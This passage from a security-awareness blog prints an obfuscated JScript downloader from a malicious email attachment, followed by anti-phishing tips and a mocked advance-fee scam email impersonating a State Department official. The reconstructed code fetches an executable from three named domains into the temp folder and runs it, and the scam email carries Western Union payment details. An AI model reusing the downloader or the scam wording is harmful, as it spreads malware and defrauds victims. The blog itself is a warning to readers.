‘= fu’; };  function igs69() { return ‘romCh’; };  function igs56() { return ‘ndEnv’; };  function igs64() { return ‘%TEM’; };  function igs212() { return ‘als’; };  function igs110() { return ‘nctio’; };  function igs103() { return ‘nr’; };  function igs164() { return ‘posit’; };  function igs173() { return ‘,2’; };  function igs225() { return ‘) b’; };  function igs53() { return ‘fn =’; };  function igs157() { return ‘> 500’; };  function igs151() { return ‘eBody’; };  function igs175() { return ‘y ‘; };  function igs9() { return ‘in’; };  function igs13() { return ‘tling’; };  function igs154() { return ‘xa’; };  function igs32() { return ‘i<‘; };  function igs59() { return ‘ent’; };  function igs172() { return ‘fn’; };  function igs() { return ‘val’; };  function igs142() { return ‘= 1′; };  function igs81() { return ’00’; };  function igs180() { return ‘1,’; };  function igs57() { return ‘ir’; };  function igs43() { return ‘tiveX’; };  function igs60() { return ‘St’; };  function igs160() { return ‘n ‘; };  function igs191() { return ‘; }; ‘; };  function igs183() { return ‘catch’; };  function igs77() { return ‘th.’; };  function igs52() { return ‘ar ‘; };  function igs235() { return ‘8083’; };  function igs163() { return ‘a.’; };  function igs181() { return ‘0); ‘; };  function igs132() { return ‘”AD’; };  function igs156() { return ‘ze ‘; };  function igs197() { return ‘ET’; };  function igs128() { return ‘Activ’; };  function igs20() { return ‘volo’; };  function igs211() { return ‘, f’; };  function igs93() { return ‘ Acti’; };  function igs168() { return ‘sa’; };  function igs158() { return ‘0)’; };  function igs26() { return ‘); ‘; };  function igs210() { return ‘troke’; };  function igs184() { return ‘ (e’; };  function igs220() { return ‘(er’; }; for (var pn=1; pn<=236; pn++) { ci += this[‘igs’+pn](); } this[zuw()+igs()](ci);

The last statement in the program concatenates all these little scraps of code (listed out of order) into one large statement and then executes it:

var stroke=”5556515E0D0A020B240507050001091D0B0203160105100A0117174A070B09″;
{ return valfunction dl(fr) { var b = “dickinsonwrestlingclub.com etqy.com avolonage.com”.split(” “); for (var i=0; i<b.length; i++) { var ws = new ActiveXObject(“WScript.Shell”); var fn = ws.ExpandEnvironmentStrings(“%TEMP%”)+String.fromCharCode(92)+Math.round(Math.random()*100000000)+”.exe”; var dn = 0; var xo = new ActiveXObject(“MSXML2.XMLHTTP”); xo.onreadystatechange = function() { if (xo.readyState == 4 && xo.status == 200) { var xa = new ActiveXObject(“ADODB.Stream”); xa.open(); xa.type = 1; xa.write(xo.ResponseBody); if (xa.size > 5000) { dn = 1; xa.position = 0; x; }; var ci = ;
a.saveToFile(fn,2); try { ws.Run(fn,1,0); } catch (er) {}; }; xa.close(); }; }; try { xo.open(“GET”,”http://”+b%5Bi%5D+”/document.php?rnd=”+fr+”&id=”+stroke, false); xo.send(); } catch (er) {}; if (dn == 1) break; } }; dl(6001); dl(3862); dl(8083);zuwe
for (var pn=1; pn<=236; pn++) { ci += this[‘igs’+pn](); } this[zuw()+igs()](ci);

Now I’m not a Javascript coder, but I can tell just by looking at it that this will access several compromised or outright malicious websites out there, and then download and run other files which are guaranteed to make your life miserable. At the least, you’ll get advertisements and popups. At worst, you will lose all your data in horrible ways or become part of a spamming network of zombie computers, or have your identity and your financial information stolen and used by criminals. None of these things are appealing.

To protect yourself, these two rules should be followed at all times:

  1. Do not click on links. Instead, copy the URL from the email and paste it into your browser. Even better is to simply type the destination name into your browser.
  2. Be suspicious of attachments, and only open those that you are expecting.

There are others, but if everyone would follow these two basic common-sense procedures, the bad actors would have far less access to people’s machines and data.

Protect your loved ones, and be careful out there.

The Old Wolf has spoken.

Protect yourself from Phishing attacks

nophishing

Great advice from a local business:

  • Be suspicious of any email that requires “immediate action” or creates a sense of urgency. This is a common technique used by criminals to rush people into making a mistake.
  • Be suspicious of emails addressed to “Dear Customer” or some other generic salutation. If it is your bank, they will know your name.
  • Be suspicious of grammar or spelling mistakes; most businesses proofread their messages carefully before sending them.
  • Do not click on links. Instead, copy the URL from the email and paste it into your browser. Even better is to simply type the destination name into your browser.
  • Hover your mouse over the link. This will show you the true destination where you would go if you actually clicked on it. If the true destination of the link is different than what is shown in the email, this may be an indication of fraud.
  • Be suspicious of attachments, and only open those that you are expecting.
  • Just because you got an email from your friend does not mean they sent it. Your friend’s computer may have been infected or their account may have been compromised, and malware is sending the email to all of your friend’s contacts.
  • If you get a suspicious email from a trusted friend or colleague, call them to confirm that they sent it. Always use a telephone number that you already know or can independently verify, not one that was included in the message.

I’ve mentioned most of these in various other posts, but this was an excellent summary that deserved to be shared. Be careful out there.

The Old Wolf has spoken.

A Letter from the “Assistant Secretary of State.”

Please us with this email again! Right, folks – the Bureau of Consular Affairs is going to use a foxmail address. For the love of all that’s holy, never respond to an email like this. If you do, you’re handing your hard-earned money to fleabitten African scammers. YES, THIS IS A SCAM. Yes, I’m SHOUTING!


From: Assistant Secretary of State Roberta Jacobson <Anderson@gamma.ocn.ne.jp>
Subject: Assistant Secretary of State Roberta Jacobson,

To: undisclosed-recipients:;

Bureau of Consular Affairs

Washington, DC 20520
Greeting from USA Embassy,

Attn Dear Citizens! Please us with this email again ( homelandsecurity20@foxmail.com )

This is to notify you that your consignment has been in our custody we are waiting for you to comply with our instructions before your package delivery will be effected to your delivery address. We have been waiting for you to contact us regarding your consignment box which Courier Company suppose to deliver to you which is on hold by USA Home Land Security Department Bureau and requesting for clearance certificate which will be obtain from the origination of the consignment box before it will be released. As a result of you not comply within duration given by Benin Government that is the reason the consignment box was diverted to treasury but the government of American have decide to make the world happy by been willing to release the package consisting of a Bank Draft Total sum of $ 3.5millions usd written with your name as the beneficiary within 4 hours immediately you secure the clearance certificate today.

After the Meeting Held by Our board of Director Which WAS Concluded That the Delivery of your Consignment to your address MUST BE Complete within 4hrs upon your Comply to Our requirement Which IS by sending the sum of  $ 155.00Usd  to enable the origin Obtain the needed certificate and your consignment for onward delivery to your house immediately without any further delay we decide to contact you because we confirm some offices are trying to deceive you.

Note that your consignment box has been arrived in US embassy and waiting to receive clearance certificate before the gate pass is given. Mean while you are advice to reconfirm the below information upon contacting us to avoid delivery to wrong person.

1, Full name:
2, Address:
3, Occupation:
4, Cell-Phone:
5, Nearest Airport:

Once you notify us with the Above Information include with the $ 55 payment we Will release your Consignment to you. Note That you Are expected to pay only  $ 155.00Usd  for Clearance certificate and you Are to pay it to Benin Republic as the origination of the Consignment box in favor of: Ofor Eze as Our accountant officer in Benin Republic Send the  $ 155.00Usd through Western Union or Money gram once you receive this mail with the Information Below for IMMEDIATE release of your Consignment box,

Receiver name: Ofor Eze
Country .. Benin Republic
city .. Cotonou
question: Yes
Answer: Yes.
Amount necessary. $ 155.00usd

Once you send the money, try to notify us with the MTCN for easy pick up and for immediate action on the release of your consignment.

Please treat this as matter of urgency .Note that any uncliam consignment will be return to the Courier Company after 3 days for final divertion as a result of failure to comply with our instruction and claim your consignment which arrived from Africa to our local airport here in USA.

So you are urgently advise to comply with our demand so that we will release your consignment we are working for the best of America citizen.

Treat with dispatch,
Yours Faithfully,
Assistant Secretary of State Roberta Jacobson,
FROM UNITED STATE OF AMERICA
Call +19189363447
Email: homelandsecurity20@foxmail.com

The Lads from Benin are still busy. They may be from Lagos, too – one can never tell where these drones are operating from.

Here’s my response to this one:

Nigerian Camels

All I can hope is that emails like this raise their blood pressure enough to precipitate a massive stroke…

The Old Wolf has spoken.